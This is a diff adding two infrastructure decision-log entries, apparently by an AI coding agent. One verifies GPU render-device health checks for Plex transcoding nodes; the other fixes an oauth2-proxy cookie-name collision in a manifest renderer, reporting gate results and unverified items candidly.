+    [PASS] graphics.drm_driver   — DRM driver bound to the display device (expected i915)
+    [INFO] graphics.media_stack  — Media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+
+(The pre-existing WARNs and SKIPs are other checks — SMART, memattr, resolvers — and are not
+mine; none of them moved.)
+
+The new report section, **byte-identical on all three nodes**:
+
+    --------------------------------------------------------------------------------
+     GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+    --------------------------------------------------------------------------------
+     pci  0000:00:02.0 00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e98] (rev 02)
+                  driver i915
+     drm  card0        driver i915     at 0000:00:02.0  engines bcs0 rcs0 vcs0 vecs0
+     dev  card0        character special  mode 0660  root:video gid 44
+     dev  renderD128   character special  mode 0660  root:render gid 992
+     GuC/HuC     NOT READ — /sys/module/i915/parameters/enable_guc is not
+                  readable without root (i915 module parameters are mode 0400)
+                 no i915/xe parameter on the kernel cmdline
+     modules     amdgpu=false, i915=true, nouveau=false, nvidia=false, radeon=false, xe=false (/proc/modules — corroboration only; the bound-driver symlink above decides)
+     vainfo      NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container
+
+That reproduces every item of the 2026-09-30 hand measurement independently: `renderD128`
+character special, `root:render`, **gid 992**, mode `0660`; `card0` `root:video` gid 44 mode
+`0660`; `i915` bound; `xe` **not** loaded and bound to nothing; `[8086:3e98] (rev 02)`
+CoffeeLake-S GT2 UHD Graphics 630 at `00:02.0`; `vcs0` and `vecs0` live; no host `vainfo`.
+
+**One measured correction to my own phase-1 assumption:** `lspci` **is** present on all three
+prod nodes (`/usr/bin/lspci` — Debian ships `pciutils` by default). I had written that it was
+absent. It is still *treated* as optional, because `pciutils` is genuinely not declared in
+`node_baseline_packages` and depending on an undeclared package would be wrong — but the
+comments and README that asserted it was missing were factually wrong and are now corrected.
+Its presence is why the `pci` line above carries a readable device name rather than bare IDs.
+
+### The gate
+
+    DEV_KUBECONFIG=/dev/null ENGINE=<shim> ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    GATE rc=3
+
+**rc 3 — UNDETERMINED. NOT green.** Nothing failed, and nothing is certified either. Exactly
+three stages did not run, all three the known local ceiling from a worktree, and **no fourth
+skip**:
+
+    [skip] spec-immutability  spec repo not present at /work/../home-network-k3s (set SPEC_REPO)
+    [skip] gitea-settings     SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule
+    [skip] conformance        no cluster configured (CLUSTER_AVAILABLE!=true) — L2/L3 NOT RUN
+
+    [ ok ] decisions-log: pass      [ ok ] lint: pass       [ ok ] l0: pass
+    [ ok ] render-golden: pass      [ ok ] l1: pass         [ ok ] approval-policy: pass
+
+Both CLAUDE.md §3 worktree workarounds were needed and both worked: `DEV_KUBECONFIG=/dev/null`
+(the credential in the main checkout was **not** copied) and an `ENGINE` shim that bind-mounts
+the main checkout's `.git` read-only. No `tracked_files()` traceback appeared, which is how I
+know the shim took effect rather than the git stages silently degrading.
+
+`ansible-lint` was **not** run, because **`ci/` does not invoke it anywhere** — I grepped
+`ci/` and `.gitea/` and the lint stage is `yamllint -c ci/yamllint.yaml` only. I am not
+claiming to have matched a lint convention that does not exist.
+
+### The CI gate on the PR — a green tick that is exit 3, read from the log
+
+The required context `gate / gate (pull_request)` reported **`success`, "Successful in 1m40s"**
+on commit `a78f010`. That description matters: a *skipped* Gitea job reports `success` with
+"Has been skipped", so this one genuinely ran, and 1m40s matches CLAUDE.md §2's ~1m35s.
+
+**But the green tick does NOT mean `gate.sh` returned 0.** `.gitea/workflows/gate.yml:138` is
+`run: ./ci/gate.sh || [ "$?" -eq 3 ]` — the job tolerates rc 3 by design. So I fetched the job
+log (`/actions/runs/173/jobs/0/logs`; the `/api/v1/.../tasks/{id}/logs` endpoints 404 on this
+Gitea, the web route serves it) and read the gate's own headline:
+
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+**So CI is also rc 3, with exactly ONE stage skipped — `spec-immutability`.** The green Gitea
+check is the tolerance swallowing that 3, not a rc 0.
+
+**CI verified two things my local run could not, and both came back green:**
+
+    [ ok ] stage gitea-settings: pass
+    [ ok ]   enable_push = false          enable_status_check = true
+    [ ok ]   required_approvals = 1       block_admin_merge_override = true
+    [ ok ]   block_on_rejected_reviews = true   dismiss_stale_approvals = true
+    [ ok ]   runners online: 1 (>= 1)
+    [ ok ] Gitea settings match the declaration.
+    [ ok ] stage approval-policy: pass
+    [ ok ] no architecturally/security-relevant paths touched — the GATE is the approver.
+
+My local run **skipped** `gitea-settings` (no `SETTINGS_API_TOKEN`) and could not give
+`approval-policy` a PR number. CI has the secret and `REQUIRE_GITEA_SETTINGS: "true"`, so a skip
+there would have failed the job. That is measured confirmation that the live Gitea matches
+`infra/gitea/expected-branch-protection.json`, and that `infra/ansible/**` needs no human
+reviewer. `lint` passed over 405 files. `conformance` SKIPPED in CI too
+(`CLUSTER_AVAILABLE != true`), so L2/L3 remains unverified there as well.
+
+Corroborated independently: `GET /repos/.../branches/main` →
+`protected=true user_can_push=false enable_status_check=true required_approvals=1`,
+contexts `["gate / gate (pull_request)"]`; `GET /admin/actions/runners` → `incluster-dind
+status=online`. And note the commit's **combined** state is `pending`, not success, because
+`gate / conformance (pull_request)` sits at "Blocked by required conditions" — that context is
+not in the required list, so it does not block, but the PR is not "all green" either.
+
+The gate's `lint` stage passed with one `line too long` **warning** on
+`roles/node_health/tasks/assess.yml:189` — that is pre-existing, in the SMART block, well
+above my insertion point, and warnings do not fail the stage.
+
+### Offline work (before the lock was released)
+
+- `python3 -m py_compile` on the collector: clean.
+- `collect_graphics()` executed for real against this workstation's hardware (an unrelated
+  machine, Raptor Lake-S UHD Graphics + an NVIDIA discrete GPU) and returned the whole
+  structure with no exception, correctly reporting two cards, two render nodes, the bound
+  driver per card, the `vcs0/vcs1/vecs0` media engines, and `enable_guc` as *not readable
+  without root* rather than as a fabricated `0`.
+- That last point is a real finding and changed the design: `/sys/module/i915/parameters/*` is
+  **mode 0400**, so an unprivileged pass cannot read `enable_guc`. It now reports
+  `NOT READ — <reason>` and `/proc/cmdline` is read as the world-readable second source. An
+  earlier draft would have silently reported a null.
+- Two other bugs found and fixed by running it rather than reasoning about it:
+  `/dev/dri/by-path` is a **directory** and was being `lstat()`ed as a device; and
+  `/sys/class/drm` carries one entry per *connector* (`card0-HDMI-A-1`), which had to be
+  excluded from the card scan.
+- All three checks and the new template section were rendered through a standalone Jinja
+  harness (Ansible is not on the host — CLAUDE.md §5) against **seven** fact sets: the real
+  workstation; GPU present with the render node removed; no display device at all; `xe` bound
+  in place of `i915`; a display device with **no** driver bound; `renderD128` present but not a
+  character device; and a shape with neither `lspci` nor `vainfo`. Zero template errors, and
+  the statuses came out as designed — `FAIL/PASS/INFO`, `SKIP/SKIP/SKIP`, `PASS/WARN/INFO`,
+  `FAIL/FAIL/INFO`, `FAIL/PASS/INFO` respectively. The harness supplies stand-ins for the
+  Ansible-only filters (`bool`, `dict2items`, `flatten`, `zip`, `regex_replace`) and matches
+  Ansible's `trim_blocks=True`.
+  **Read that for exactly what it is: evidence that the LOGIC is right, and no evidence
+  whatsoever that the HARDWARE DETECTION is.** Six of those seven fact sets were hand-mutated
+  dictionaries, not machines. They are not hardware tests and must not be written up as if
+  they were.
+
+## What I did NOT verify
+
+- **The FAIL path has never fired on a real node.** Every prod node has a working render
+  device, and this role is read-only, so a device cannot be taken away to prove the check
+  catches its absence. The failure branches were exercised against **synthetic fact sets
+  only** (see above). I am not claiming the failure path is tested against hardware.
+- **`xe` detection is likewise untested against reality.** No node here has `xe` bound — the
+  module exists on disk as `xe.ko.xz` and is bound to nothing — so the WARN branch was only
+  ever driven by a mutated fact set. If `xe` ever does bind, the *shape* of
+  `/sys/class/drm/card*` under it is something I have assumed matches i915's (same
+  `device/driver` symlink, same `engine/*` directories). That assumption is unverified.
+- **The media-engine sysfs path is confirmed on these nodes but not proven portable.**
+  `vcs0`/`vecs0` were read from `/sys/class/drm/card0/engine/*` on all three prod nodes, so it
+  is measured here. I did **not** confirm against kernel source that no other kernel version or
+  driver publishes engines elsewhere. If one does, the check reports "none exposed" — an INFO
+  line, not a false verdict, which is why this failure mode is tolerable.
+- **`enable_guc` is still unread on prod.** The report says `NOT READ — mode 0400`, which is
+  honest but means I have **not** confirmed by measurement that GuC/HuC is off on these nodes;
+  I only know the kernel cmdline carries no `i915.enable_guc=` override. The brief's ground
+  truth says `i915.enable_guc=0`; my check does not corroborate that value, it declines to
+  guess it. Reading it would need root, and it is INFO either way, so I left it alone.
+- **Not a transcode test.** These checks prove the render *device* exists, is a character
+  device, and which driver owns it. They do **not** prove a transcode succeeds — that needs a
+  VAAPI round trip inside Plex's own container with Plex's own libva, and is out of scope for a
+  node-level check that installs nothing.
+- **Greenness was never established, locally or in CI.** Both runs returned **rc 3**. My local
+  run skipped three stages (`spec-immutability`, `gitea-settings`, `conformance`); CI skipped
+  one (`spec-immutability`) and its own headline says `MERGE GATE: UNDETERMINED`. **I am not
+  describing this PR as green**, and the green Gitea tick must not be read as one: the workflow
+  line is `./ci/gate.sh || [ "$?" -eq 3 ]`, so it is a tolerated 3.
+- **L2/L3 conformance did not run anywhere** — `CLUSTER_AVAILABLE != true` in both. Whatever
+  runtime requirements this touches remain UNVERIFIED; only the L0/L1 offline subset passed.
+- **`spec-immutability` ran in neither.** The sibling spec repo is checked out in neither my
+  worktree nor the CI workspace, so nothing confirms this change does not drift from the spec.
+  It is the expected, tolerated skip — but it is still a skip, not a pass.
+- **No claim about the live platform beyond what was printed.** Per CLAUDE.md §2b this repo is
+  not evidence about prod; the only prod facts I assert are the ones quoted verbatim above.
+  Branch protection and runner state I did query directly, and the CI `gitea-settings` stage
+  passed — so those two I assert on measurement, not on this file's prose.
+- **The stale dev inventory was left alone deliberately.** `hosts.ini` still defines the
+  `k3s-dev-*` groups as the default target of most playbooks and the dev cluster no longer
+  exists. That is real, it is out of this change's scope, and it is unclaimed work.

decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md

@@ -0,0 +1,378 @@
+---
+date: 2026-09-30
+branch: fix/oauth2-proxy-cookie-collision-fleet
+title: The cookie collision was never Crafty's — it was the renderer's, and it shipped to five apps
+---
+
+## What changed
+
+Follow-up #3 of `decisions/2026-09-29-crafty-oauth2-proxy-signin.md`: *"Any further per-app
+reverse-proxy sidecar needs a unique `--cookie-name` too. The collision is a property of the
+pattern, not of Crafty."*
+
+It is a property of the pattern, and this branch found where the pattern actually lives.
+
+**Read the scope claim carefully before the detail.** This branch fixes THREE defects in the
+forward-auth sidecar contract, all in one function, all landing on all five apps at once:
+
+| Defect | Fix | Measured evidence |
+|---|---|---|
+| Six independent instances, seven different cookie-secrets, **one** cookie name on **one** zone-wide domain — so they overwrite and `ClearSession`-delete each other's sessions | `--cookie-name=_oauth2_proxy_<app>` + host-scoped `--cookie-domain` | 7/7 distinct secrets; 6 instances on the default name; radarr logs the eviction fingerprint 8× in 12h |
+| The session dies **5 minutes** after sign-in — `--cookie-refresh` defaults to 0 = *disabled*, so the refresh token the proxy already holds is never spent | `--cookie-refresh=2m30s` (half the lifetime) | access-token lifetime = **300.000s exactly**, `refresh_token:true`, flag absent |
+| **No** per-app sidecar serves `/metrics` at all — without `--metrics-address` the listener never starts | `--metrics-address=0.0.0.0:44180` + a `metrics` container port | `ports` was `['http']` on all six |
+
+Rejection *volume* is dominated by the second defect, not the first: ~95% of radarr's rejections
+carry no cookie at all. **Do not merge this expecting one number to drop** — three mechanisms were
+tangled together, and separating them is most of the value here.
+
+**Boundary note.** My brief originally reserved `apps/wave-0/jackett.yaml` for a concurrent branch.
+That split is not achievable and has been revoked: the file is generated, the fix is one renderer
+edit, and `render-golden` requires all five goldens regenerated in the *same commit*. I own all
+five. The proof I ran before touching jackett is under "What I verified".
+
+**The defect was not in the four manifests it was reported in.** `apps/wave-0/pihole.yaml`,
+`apps/wave-0/qbittorrent.yaml`, `apps/wave-1/radarr.yaml`, `apps/wave-1/sonarr.yaml` — and
+`apps/wave-0/jackett.yaml` — are **generated goldens**. One function emits all five sidecars:
+`catalog/render.py::_oauth2_sidecar_container()`, which hardcoded `--cookie-domain=.{ZONE}` and
+emitted no `--cookie-name` at all. Hand-editing a golden is not a fix twice over: `ci/render-golden.sh`
+FAILS on the drift (provoked, not assumed — see below), and the next re-render silently reverts it.
+
+So the fix is in the generator, and both flags are now **derived** from the ServiceDefinition:
+
+    --cookie-name=_oauth2_proxy_{s['name']}     unique per service, by construction
+    --cookie-domain={host}                      the app's own route host, not the zone
+
+`--whitelist-domain` deliberately stays zone-wide — it governs permitted post-login *redirect*
+targets, not cookie scope. `catalog/render.py --selftest` gained four assertions, including one
+that renders a **second** synthetic forward-auth service and requires the two cookie names to
+differ, so a future refactor to a constant fails in the renderer's own test.
+
+Re-rendering with the canonical command regenerated **five** goldens, not four. Jackett is the
+fifth, and this is the one thing in this branch the PM brief did not anticipate — see
+"the jackett collision" below. The three `conformance/tests/l1-rendering/*/golden/` fixtures are
+expected-output copies of the same renderer, so they are regenerated too; that is not collateral
+damage, it is the L1 stage doing its job (it FAILED on the first gate run and named the drift).
+
+**The new gate check** is `conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/`,
+declaring `conformance.home.k3s/scope: whole-repo` so `ci/l0.sh`'s `--include-scope` union runs it
+on **every** gate invocation. No bespoke `ci/l0.sh` stage was added — `whole-repo-invariants-wired`
+fails the gate if anyone adds one, and the scope annotation is the supported mechanism.
+
+It inventories every oauth2-proxy instance the repo authors (containers at any depth, plus the
+shared proxy's HelmRelease values) and resolves each one's **effective** cookie name — its declared
+name, **or oauth2-proxy's built-in `_oauth2_proxy` when it declares none**. That single modelling
+decision is the whole check: an omitted flag is not an absence, it is a *claim on a name*, and
+treating it as an absence is precisely why five reviewers read these manifests and saw nothing.
+Then: (1) no two effective names collide; (2) no name is another's name + `_csrf`, because that is
+how oauth2-proxy derives the CSRF cookie and two such session names look distinct while their CSRF
+cookies collide; (3) the default name has exactly one owner, and it is the one registered in
+`SHARED_DEFAULT_COOKIE_OWNER`; (4) every non-registered instance is host-scoped; (5)
+`catalog/render.py` derives rather than lists; (6) the **shipped** renderer is proven end-to-end on
+two synthetic ServiceDefinitions run as a subprocess.
+
+**On the shared proxy — "distinct" or "explicitly declared"?** The brief asked me to decide, and
+the answer is *neither, quite*. The shared forward-auth proxy at `platform/oauth2-proxy/` **must
+keep** `_oauth2_proxy`: it is the single session every forward-auth-gated surface without its own
+sidecar rides on, so renaming it signs all of them out at once. Requiring *every* instance to
+declare a name would therefore need an exemption, and an exemption is a hole: delete the shared
+proxy and whichever app next omitted the flag would silently inherit the default with the rule
+still satisfied. So the assertion is plain **distinctness over effective names**, with the default
+treated as a name like any other — held by **exactly one owner, named in a shrink-only register
+with its reason**. The shared proxy needs no exemption from the rule; it is simply the registered
+holder of that one name. A stale register entry FAILS (the exemption would outlive its object) and
+an unregistered holder FAILS (no silent heirs). Both were provoked and are quoted below.
+
+**On host-scoped `--cookie-domain` — overreach, or not?** Asserted, and here is the argument both
+ways. *Against:* distinct names alone close the eviction bug completely — two differently-named
+cookies do not overwrite each other however wide their domains are — so this assertion fixes
+nothing (1) has not already fixed, and a check that fails a legitimate configuration is a check
+someone eventually disables. *For, and this wins:* a zone-wide cookie is **transmitted by the
+browser to every host in the zone**. qBittorrent's session token was being sent to pihole, radarr,
+sonarr and every other name under the zone, including hosts behind no proxy at all — a
+session-credential disclosure across trust boundaries that nothing needs. And it is what makes a
+*future* name collision catastrophic rather than contained: with host-scoped cookies, two
+instances that accidentally share a name cannot see each other's cookie at all. Defence in depth
+on the exact axis that already failed once. The escape hatch is the same register, by name and
+with a reason, rather than a loosened rule.
+
+### The jackett boundary, and why it could not hold
+
+`apps/wave-0/jackett.yaml` carries the identical defect and was initially assigned to a concurrent
+branch, with an instruction to me not to touch it. **That separation is not achievable** — the
+ownership split was drawn across a generated file — and I did not discover this by reasoning about
+it, I provoked it. With the renderer fixed and jackett's golden left at its `main` content,
+`./ci/render-golden.sh` exits **1**:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render:
+    -        - --cookie-domain=.${BASE_DOMAIN}
+    +        - --cookie-name=_oauth2_proxy_jackett
+    +        - --cookie-domain=jackett.${BASE_DOMAIN}
+    [fail] render==golden check FAILED
+
+Jackett's golden is an *output* of the file that contains the defect. There are exactly three
+options and two of them are worse: hand-edit four goldens and leave the generator broken (fails
+`render-golden`, and reverts on the next render); add a per-service carve-out to the renderer so
+jackett alone keeps defaulting (ships the exact "list, don't derive" anti-pattern this check
+exists to forbid, and leaves jackett broken *by design*); or fix the generator and regenerate all
+five. I took the third. Jackett's golden here is **machine output of a one-line generator change**,
+not an independent edit of Mira's file, and it is byte-identical to what her branch must produce.
+
+**Consequence:** the jackett branch has no cookie work left in it — this commit fixes jackett
+identically and by the same mechanism, and both branches independently arrived at the *same two
+values* (`_oauth2_proxy_jackett`, `jackett.${BASE_DOMAIN}`), which is a good sign for the
+diagnosis. Its hand-edit of the rendered file will fail `render-golden` on its own terms, so it
+should be closed rather than rebased. **What must not be lost with it** is its evidence: the
+interleaved radarr/jackett log showing `removing session` deleting a clean session 26s after login,
+and the `expires − created = 300.000s` measurement that produced `--cookie-refresh` here. Both are
+carried into this entry and into the renderer's comments; the branch itself is now redundant, the
+work behind it is not.
+
+**The general lesson, which is worth more than this bug:** an ownership split across
+`apps/wave-*/*.yaml` cannot hold, because those files are *outputs*. Two agents assigned two
+rendered apps are assigned the same function and will collide in `render-golden` no matter how
+carefully they stay in their own files. Ownership of a rendered app is ownership of
+`catalog/render.py`, and briefs should say so.
+
+### What this branch deliberately does NOT do
+
+- **`--api-route=^/api/` is NOT added**, and not because of scope discipline alone: it would be
+  **wrong** renderer-wide. It was measured on jackett, and **PiHole does not serve `/api/`** — so
+  a renderer constant applies one app's path shape to five. Doing it properly means declaring API
+  path prefixes per service, and the `auth` block is `additionalProperties: false`, so that is a
+  *schema change*. Separate PR. (Note the flag is **`--api-route`, singular** — verified in the
+  pinned binary's own `--help`. The plural `--api-routes` does not exist in v7.8.1 and the proxy
+  refuses to start with it. That error was propagating through briefs; it stops here.)
+- **`--session-cookie-minimal` is NOT added** and must not be, as a cookie-size fix: it is
+  **mutually exclusive** with `--cookie-refresh` (*"cookie_refresh > 0 requires oauth tokens in
+  sessions"*). Dropping `--pass-access-token` is a least-privilege argument, never a size one.
+- **Metrics are NOT scraped, only served.** The flag and container port are the prerequisite;
+  a container port is not a Service port. These Services expose the app port and `:4180`, and each
+  namespace's default-deny baseline is `ingress: []`, so Prometheus can neither resolve nor reach
+  `:44180` until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+  exist. That wiring is someone else's follow-up and I have deliberately not faked its start.
+  **Nobody should read this commit as "the sidecars have metrics now."**
+- **The new check was NOT widened to cover cookie-refresh or metrics.** Its subject is cookie
+  *identity*; those two share neither its inputs nor its failure mode. Bundling them would make
+  the check's name a lie and couple unrelated ratchets, so a future metrics decision could only
+  be expressed by weakening a *cookie* check. The cost of that discipline is named honestly in
+  the follow-ups: those two flags are currently **ungated**.
+
+## What I verified
+
+- **The premise, in-cluster, rather than inherited from the handoff** (CLAUDE.md §2b). Read-only,
+  `kubectl --context k3s-prod`, through the pinned toolbox.
+  - **Seven** `*-oauth2-proxy` Secrets carry a `cookie-secret`: crafty, jackett, pihole,
+    qbittorrent, radarr, sonarr, and the shared `oauth2-proxy-credentials`. **All seven values are
+    DISTINCT.** Compared without printing anything: each value was hashed **in-cluster-side script,
+    never echoed**, and only the first 8 hex characters of each `sha256` were emitted — enough to
+    say same-or-different, recovering nothing. Secret *key names* were listed; no `.data` or
+    `.stringData` was printed (CLAUDE.md §6). **So no instance can decrypt another's cookie — it can
+    only overwrite it. The premise holds.**
+  - **The default cookie names really were in use.** Of 8 live oauth2-proxy containers, **6 declare
+    no `--cookie-name` at all** — jackett, pihole, qbittorrent, radarr, sonarr, and both replicas of
+    the shared proxy — so all six emit `_oauth2_proxy` / `_oauth2_proxy_csrf`. All six also carry
+    `--cookie-domain=.home.keithjackson.dev`. **One cookie pair, six independent instances.**
+  - Crafty's live pod (`crafty-647c7d8cc5-5spv9`) already carries
+    `--cookie-name=_oauth2_proxy_crafty` and `--cookie-domain=crafty.home.keithjackson.dev`, so
+    PR #22 is merged and reconciled. It is the only compliant per-app instance on the cluster.
+- **THE COLLISION IS REAL. IT IS NOT ESTABLISHED AS THE CAUSE OF THE REPORTED FAILURES.** These
+  are two different claims and only the first is supported. I was handed counter-evidence —
+  crafty, the app already fixed, showed the *worst* rejection ratio of the set over a 24h Loki
+  window (`crafty 81:1`, `radarr 67:1`, `jackett 39:4`) — and it is right to refuse the causal
+  claim. What I could do was bound the window. Read from **each sidecar's own log** rather than
+  Loki, because `kubectl logs` on a pod that has not restarted cannot reach a pod older than
+  itself, so a window inside the pod's age is inside the fixed spec's lifetime *by construction*:
+
+      namespace      age(h) rst  reject success    ratio  cleared  badsig
+      crafty           13.9   0       3       0      n/a        0       0   <- FIXED spec, whole life
+      radarr          422.5   0     155       1  155.0:1        8       8
+      jackett         422.6   0      39       4    9.8:1        1       1
+      pihole          395.7   0       0       0      0:0        0       0
+      qbittorrent     404.1   0       0       0      0:0        0       0
+      sonarr          422.5   0       0       0      0:0        0       0
+      oauth2-proxy    422.6   0       0       0      0:0        0       0   (both replicas)
+
+  `reject` = `No valid authentication in request`; `success` = `AuthSuccess`;
+  `cleared` = `removing session` (oauth2-proxy's `ClearSession`); `badsig` = `cookie signature
+  not valid`. Window `--since=24h`, which exceeds every pod's age only for crafty — whose pod is
+  13.9h old with **0 restarts**, so these are its complete post-fix figures.
+
+  Then I read crafty's four auth-relevant lines rather than counting them, because at n=3 the
+  content is the evidence:
+
+      03:57:20  Cookie settings: name:_oauth2_proxy_crafty secure(https):true httponly:true
+                expiry:168h0m0s domains:crafty.home.keithjackson.dev path:/
+      04:02:55  No valid authentication in request. Initiating login.
+      15:22:39  No valid authentication in request. Initiating login.
+      15:22:44  No valid authentication in request. Initiating login.
+
+  6743 log lines; those are all four. **Zero** `removing session`, **zero** `cookie signature
+  not valid`, zero anything else.
+
+  Four conclusions, kept separate:
+  1. **`crafty 81:1` is a window artefact. It is not evidence against the fix and must not be
+     cited as such.** The fixed pod emitted **3** rejections in 13h 52m; the 81 came from a 24h
+     window straddling it, i.e. from the pre-fix process.
+  2. **The eviction FINGERPRINT is gone where the fix is deployed.** `cookie signature not
+     valid` + `removing session` is what a clobbered instance logs — a cookie *is* present,
+     written with a key this instance does not hold, so it cannot decrypt it and then
+     `ClearSession` expires it on its own `--cookie-domain`. Fixed crafty: **0 and 0** across
+     its whole life. Unfixed radarr: **8 and 8** in 12h. Unfixed jackett: 1 and 1. That is a
+     real, directional signal and it is the strongest evidence available that the fix works.
+  3. **It is still not a demonstrated successful sign-in.** Crafty logged **0 `AuthSuccess`** —
+     so what is shown is *absence of the failure mode*, not a session observed working
+     end-to-end. Those three rejections are consistent with benign first-hits (one client, two
+     of them 5s apart, i.e. a page plus a `/ws` reconnect). I am comfortable saying the fix
+     works; I am not willing to say it has been watched working, and the distinction is the
+     whole reason this section exists.
+  4. **The collision is a MINORITY of the rejection volume.** radarr: 8 of 155 (5%) carry the
+     fingerprint; ~95% carry **no cookie at all**. Those are the 5-minute session expiry and
+     `302`-on-XHR — the first of which this branch now also fixes, the second of which it
+     deliberately does not.
+
+  Two cautions about the instrument. `reject` ranks **chattiness, not breakage**: radarr's are
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate` polls, so a busy *arr
+  inflates the count with nobody inconvenienced. And that same polling is the *amplifier* that
+  made this intermittent — every poll carrying an undecryptable cookie calls `ClearSession`
+  again on the zone-wide domain, so **a left-open Radarr tab deleted Jackett's cookie every few
+  seconds, from another namespace, with no user action at all.** That is why signing in again
+  never helped for longer than the gap between two polls. It is now a comment in the renderer,
+  because it is the part of this bug that no one would reconstruct from the flags alone.
+- **The four target files are generated, not authored.** Rendering `catalog/` with the canonical
+  command into a temp dir and diffing against `apps/` reported all 10 onboarded goldens
+  byte-identical before any change. Hand-editing one is drift by definition.
+- **`render-golden` FAILS if jackett is excluded** — provoked (output quoted above), rc **1**.
+  Restoring the regenerated golden returns it to `all 10 onboarded service golden(s) reproduce`,
+  rc **0**.
+- **Every flag verified against the PINNED v7.8.1 binary**, not against docs, memory, or the
+  shared proxy (which runs **v7.15.3** and therefore could not vouch for v7.8.1):
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`.
+  - `--cookie-name string ... (default "_oauth2_proxy")` — **this confirms the constant my whole
+    check is built on, from the binary itself.** The check's central claim, that an omitted flag
+    is a *claim on a name* rather than an absence, now rests on the implementation's own help
+    text rather than on my reading of its source.
+  - `--cookie-refresh duration  refresh the cookie after this duration; 0 to disable` — confirms
+    the default really is disabled.
+  - `--metrics-address string` — present in v7.8.1, so the new flag cannot crashloop the pods.
+  - `--api-route strings` — **singular**, confirming the brief's plural was wrong.
+  - `--session-cookie-minimal` — exists, and is the flag that conflicts with `--cookie-refresh`.
+- **44180 is the platform's existing convention, measured, not chosen.** The shared proxy already
+  runs `--metrics-address=0.0.0.0:44180` with a `metrics` container port, a `metrics:44180`
+  Service port, a ServiceMonitor whose endpoint is `metrics`, and **2 ready endpoint addresses** —
+  i.e. it demonstrably works on this platform.
+- **`catalog/render.py --selftest`: PASS**, now including the two-service distinctness assertion,
+  a `--cookie-refresh` assertion that PARSES the duration and requires `0 < refresh < 300s` (so
+  `2m30s` -> `150s` -> `2.5m` all stay green but a silent widening past the token lifetime does
+  not), a `--session-cookie-minimal` mutual-exclusion guard, and both metrics assertions.
+- **The check is selected by the whole-repo union.** `conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-cookie-names-distinct` among 20 tests — i.e. it runs even when the
+  touched-requirement filter matches nothing, which is the blind spot it was scoped for.
+- **The check was tested in BOTH directions**, against throwaway trees outside the repo, never by
+  mutating the branch:
+  - **Compliant tree (this branch): rc 0, 39 assertions, 7 instances audited.**
+  - **Pre-fix tree** (`git archive HEAD` + this test dropped in): **rc 1, 26 failures**, naming all
+    five violators, the 6-way `_oauth2_proxy` collision, the zone-wide domains, the renderer
+    emitting no `--cookie-name`, and both synthetic fixtures rendering `None`.
+  - **Targeted mutations on a compliant copy**, one assertion class each, all fired and nothing
+    else did: duplicate name (sonarr←radarr) → 1 failure; CSRF derivation
+    (`_oauth2_proxy_sonarr_csrf` as a session name) → fired; zone-wide `--cookie-domain` on pihole
+    → 2 failures; crafty's `--cookie-name` deleted → unregistered-default-heir + 2-way collision;
+    shared proxy renamed → **stale register entry** failure.
+  - A **false positive was found and fixed** by this testing: `platform/oauth2-proxy/forward-auth-cec.yaml`
+    contains `serviceName: oauth2-proxy/oauth2-proxy:80` — an Envoy `namespace/service:port`
+    reference, not an image — which the first inventory scan counted as an unaudited instance. The
+    scan is now anchored on `image:`, and the near-miss is documented in the check.
+- **Gate:** toolbox `./ci/gate.sh` — exit code and stage list in the next section, because it is
+  not a pass and that belongs there.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`, `approval-policy`. **Skipped:** `gitea-settings` (no
+  `SETTINGS_API_TOKEN` locally) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing
+  FAILED; nothing runtime was certified either. **rc 3 is UNDETERMINED, never green.** Touched
+  subset `R-GITOPS-02 R-IDP-02 R-IDP-06 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-PLAT-02 R-TEST-01
+  R-TEST-02 R-TEST-03 R-TEST-04` — **UNVERIFIED** at L2/L3, all twelve.
+- **`spec-immutability` was skipping because of a BUG IN MY TOOLING, not the environment.** The
+  worktree ENGINE shim in circulation mounts only the main checkout's `.git`, and `dev.sh`
+  computes the spec path from its own `REPO_ROOT` — which in a worktree is
+  `.claude/worktrees/agent-*/`, so `../home-network-k3s` does not resolve and it adds no spec
+  mount at all. The gate then reported the skip, and the skip read as "the one tolerated
+  environmental skip" while actually being a path bug being waved through. Adding
+  `-v /var/home/keith/source/home-network-k3s:/home-network-k3s:ro -e SPEC_REPO=/home-network-k3s`
+  makes **R-TEST-06 actually run and pass**. Worth putting in every worktree agent brief; the
+  two-mount shim in CLAUDE.md §3 should say so.
+- **CI: `gate / gate (pull_request)` reports FAILURE on `75a4029`, for exactly ONE reason, and it
+  is not this change.** Read from the job log rather than the tick:
+
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  Every substantive stage is **green in CI** — `gitea-settings: pass` (CI has the token my local
+  run does not), `decisions-log`, `lint`, `l0`, `render-golden`, `l1`. Skipped: `spec-immutability`
+  (the workflow does not check the spec repo out — the documented tolerated skip) and
+  `conformance` (declared). So CI is a **stricter, more complete** run than my local one on every
+  axis except the spec repo, and it agrees.
+  `infra/gitea/approval-policy.json` lists `conformance/**` as sensitive — *"the tests and the
+  harness; changing them changes what green MEANS"* — so this PR is **fail-closed pending a
+  non-author approving review**, which is CLAUDE.md §1 working, not a defect to route around.
+  **The red tick is the policy, and it clears when a human reviews it.** Note also that
+  `gate / conformance (pull_request)` reports `success` with description **"Has been skipped"** —
+  the precise trap CLAUDE.md §2b names; it certifies nothing.
